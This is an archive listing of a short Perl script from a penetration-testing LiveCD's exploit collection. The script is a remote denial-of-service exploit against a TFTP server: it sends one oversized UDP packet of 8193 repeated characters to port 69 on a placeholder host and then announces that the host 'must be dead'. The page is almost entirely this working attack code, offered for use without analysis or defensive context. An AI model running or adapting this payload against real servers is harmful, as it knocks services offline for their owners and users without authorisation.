home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / tftp / swtftp-ex.pl < prev   
Perl Script  |  2005-02-12  |  436b  |  16 lines
  1. #!/usr/bin/perl
  2. #TFTP Server remote DoS exploit by D4rkGr3y
  3. use IO::Socket;
  4. $host = "vulnerable_host";
  5. $port = "69";
  6. $data = "q";
  7. $num = "8193";
  8. $buf .= $data x $num;
  9. $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
  10. $ipaddr = inet_aton($host);
  11. $portaddr = sockaddr_in($port, $ipaddr);
  12. send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
  13. print "Now, '$host' must be dead :)\n";
  14.  
  15. #EOF
  16.